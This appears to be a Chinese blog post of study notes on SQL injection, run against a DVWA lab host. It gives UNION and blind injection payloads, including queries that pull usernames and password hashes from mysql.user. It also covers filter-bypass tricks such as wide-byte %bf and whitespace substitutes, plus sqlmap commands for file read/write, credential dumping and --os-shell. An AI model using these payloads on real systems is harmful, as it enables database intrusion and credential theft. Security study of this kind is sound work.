sql注入总结

1.sql注入基本知识

1.判断是否存在sql注入,使用单引号,或者and 1=1,and 1=2进行测试

2.使用union查询可以获得想要的信息,但是union查询有限制
(1)两个查询返回的列数必须型相同。
(2)两个select语句对应列所返回的数据类型必须是相同或者是兼容的。
所以我们这里重点关注怎么知道查询中列的数量,代码中,写的是select * from new,直接在代码中看不出来new这个表中有多少列,而需要去查看建表语句,而在实际应用中,除非是开源的CMS,否则你不可能准确知道它查询了多少列,这就需要我们想个办法来获取当前查询的列数。
一个简单的办法是通过order by 子句来确定。Order by 是根据指定的列名进行排序。
Order by 子句可以接受一个列名作为参数,也可以接受一个简单的、能表示特定列的数字,所以可以通过增大order by 子句中代表列的数字来识别查询中的列数。
确定好列数之后,使用union select 1,2,3…测试哪几列会显示

2.SQL注入中information_schema的作用

2.1.查看mysql账户密码

1 union select 1, table_name,3 from information_schema.tables where table_schema=‘mysql’
1 union select 1, column_name, 3 from information_schema.columns where table_name =‘user’ and table_schema=‘mysql’
1 union select 1, User, Password from mysql.user

2.2.基础

在SQL注入中,我们重点关注的表有如下几个,因为主要的时候主要利用这几个表来获取数据:

SCHEMATA:提供了当前mysql数据库中所有数据库的信息,其中SCHEMA_NAME字段保存了所有的数据库名。show databases的结果取自此表。
select schema_name from information_schema.schemata limit 0,1

TABLES:提供了关于数据库中的表的信息,详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,其中table_name字段保存了所有列名信息,show tables from schemaname的结果取自此表。
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = ‘sqli’;

COLUMNS:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息,其中column_name保存了所有的字段信息。show columns from schemaname.tablename的结果取自此表。
select column_name from information_schema.columns where TABLE_SCHEMA=‘sqli’ and TABLE_NAME=‘user’;

3.盲注

3.1.Get盲注

盲注,意味着页面不会显示SQL语句的错误,要通过一定的手段来判断构造的注入语句是否正确执行。有两种方式:布尔型和时间型。布尔型是根据页面是否正确显示来判断构造的语句是否正确执行,时间型则是根据页面加载时间是否变化来判断的。

盲注需要掌握一些MySQL的相关函数:

length(str):返回str字符串的长度。如执行select

length(database())则会返回当前数据库名称的长度。而单独select database()则回返回当前数据库的名称。

substr(str, pos, len):从pos位置取出str字符串的len个字符。如

select substring(‘abcde’, 4, 2)则返回de,pos为负则倒数pos个位置,如select substring(‘abcde’, -4, 2);返回bc。

ASCII(str):返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。如select ASCII(‘a’)返回97。

将上面几个函数组合一下就有布尔值出现。如

Select ascii(substr(database(),2,1)) = 101;当database()即当前数据库的名称中,正数第二个字符为e,则会返回1,当为其他字符时会返回0。逐级替换2为其他数字,就可以逐字猜数据库名称了。其中的=号还可以换成<或者>。

if ((exp1, exp2, exp3):为条件判断语句。当exp1的值为true时候,返回exp2,否则返回exp3。如 select if ((select database())=‘secur’,sleep(10),null)即为判断当当前数据库的名字为secur的时候,数据库程序会休眠10秒。

POST是HTTP/1.1协议中的一种资源请求方法。其向指定资源提交数据,请求服务器进行处理(例如提交表单或者上传文件)。数据被包含在请求本文中。这个请求可能会创建新的资源或修改现有资源,或二者皆有。很大一部分的表单都是通过POST方式发送到处理页面的。

http header信息头是HTTP协议的重要组成部分,包含了一数据段来于服务器进行通信。这里主要是利用三个:UA、X-Forwarded-For和Referer。UA是包含了操作系统版本,浏览器版本信息的一组字符串,很多网站用他来判断操作系统和浏览器类型,来展示对应的页面。也有很多通过UA来判断访问是否合法,是用户访问还是程序访问等。

X-Forwarded-For被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。部分网站通过它来辨别访问者的IP信息。Referer是来源信息,在防盗链中使用广泛。HTTP(HyperTextTransferProtocol)即超文本传输协议,目前网页传输的的通用协议。HTTP协议采用了请求/响应模型,浏览器或其他客户端发出请求,服务器给与响应。就整个网络资源传输而言,包括message-header和message-body两部分。首先传递message- header,即http header消息 。http header 消息通常被分为4个部分:general header, request header, response header, entity header。但是这种分法就理解而言,界限不太明确。

’ %27
–+ js注释
# php注释

3.2.Get显错注入

字符型、数字型通过’来区分

4.有回显的Mssql注入

SQL Server数据库的一切信息都保存在它的系统表格里,每个数据库内都有系统表sysobjects,它存放该数据库内创建的所有对象,如数据库,表,约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。

在mssql注入过程中,经常用到一些mssql中的系统函数,这些系统函数有助于帮助获取目标站点的信息:

User;user_name();system_user用户

db_name():当前数据库的名字

host_name():主机名字

@@version:数据库版本

@@servername:服务器名称

@@language:当前所使用语言的名称

@@spid:当前用户的进程ID

is_srvrolemember (‘sysadmin’) 判断用户是否属于管理员的组

5.cookie注入

通过修改cookie实现身份盗窃

6.headers注入

7.二次sql注入

1.SQL注入的二次注入
攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符仅仅只是使用了addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据,却被开发者认为是可信数据。

当下一次Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

简单的说,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

相比于直接注入,二次注入是比较有趣的。因为他会把你第一次的请求存储,然后在第二次使用到的时候,才会激活并且返回结果。例如在某个插入功能中,我们插入构造的SQL语句,此时并没有什么现象,但是当浏览的时候,系统执行了一个查询,就执行了我们之前的SQL语句,返回了我们需要的信息
在这里插入图片描述

2.二次注入需要具备的条件

(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)

(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户

3.concat()函数

此实验我们频繁使用了一个mysql的函数——concat,concat函数返回结果为连接参数产生的字符串,该函数可以连接一个或者多个字符串,极具实用价值。简单理解就是可以一次性查询出很多信息并输出。

8.php过滤函数之sql绕过

1、PHP常用的过滤类函数

(1)当php.ini配置文件开启了magic_quotes_runtime 和 magic_quotes_gpc时,PHP中的get_magic_quotes_gpc()和get_magic_quotes_runtime()函数就会自动的对指定范围内的数据进行转义。其中,magic_quotes_gpc主要作用于web客户端,简单的说主要是对 G E T 、 _GET、 GET_POST、$_COOKE中的数据进行过滤;magic_quotes_runtime主要是对文件中读取的数据或从数据库查询得到的数据进行过滤。

(2)mysql_real_escape_string()、addslashes()可对数据中的 单引号、双引号进行转义,能够有效地防止大多数SQL注入攻击;mysql_real_escape_string()考虑了字符集,比addslashes()具有更高的安全性。当前的字符集是单字节的话,这两个函数作用相同,都可以起到转义过滤的作用,但是,随着UTF-8等字符集得到越来越广泛的使用,它们也逐渐不能满足要求了。

(3)此外,还用于过滤的还有字符串操作常用函数preg_match、strlen、strcmp、strtolower、bl2br(将换行符转换为HTML终止标记)、htmlentities、htmlspecialchars( 将特殊字符转换wieldHTML等价形式,且不解析格式)等,还有isset、is_numeric、empty等表单验证函数。

2、is_numeric()函数介绍

本实验中的is_numeric()函数用于检测变量是否为数字或数字字符串。

如果将二进制或十六进制数据传递至is_numeric()函数,则也会返回为true,即被is_numeric()函数检测是数字。现在,我们进行测试。编写is_numeric.php文件,并将以下代码输入后,保存。

<?php $v = is_numeric (0x32DA) ? true : false; var_dump ($v); ?>

再执行该程序,可得到结果:bool(true)。

[root@T ~]# vim is_numeric.php

[root@T ~]# php ! ( ! (! !代表上一条命令的最后一个参数,即is_numeric.php)

9.绕过各种过滤

9.1.绕过危险字符加反斜杠|AddSlashs()函数

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

将,’,"都转义,即在前面加
解决方式:使用宽字节注入,即在这几个符号前加%bf

9.2.绕过select|union过滤

在这里插入图片描述
并且会吃掉空格和星号
在MySQL中tab,空格,回车都可以隔断语句,那么我们就可以用使用/**/ 或() 或+ 代替空格,%0c =换页、%09 = 水平制表符、%0d = 回车、%0a = 换行。

适当使用union all select替换union select

10.sqlmap

10.1.sqlmap读写文件

输入:sqlmap.py -u “http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low” --file-read=/opt/lampp/htdocs/php.ini
成功读取了php.ini文件,并返回了路径。

输入:sqlmap.py -u “http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low” --file-write C:\1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt

10.2.使用sqlmap进行post注入

将抓到的包保存为1.txt,并放到c盘根目录下。
列数据库,输入命令:sqlmap.py -r c:\1.txt -p username --dbs
注:-r表示加载一个文件,-p指定参数

猜表,输入命令:sqlmap.py -r c:\1.txt-p username -D mysql --tables
猜列,输入命令:sqlmap.py -r c:\1.txt-p username -D mysql -T user --columns
猜数据,输入命令:sqlmap.py -r c:\1.txt -p username -D mysql -T user -C “User,Password” --dump

10.2.使用sqlmap上传shell

sqlmap.py -u “http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low” --os-shell

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值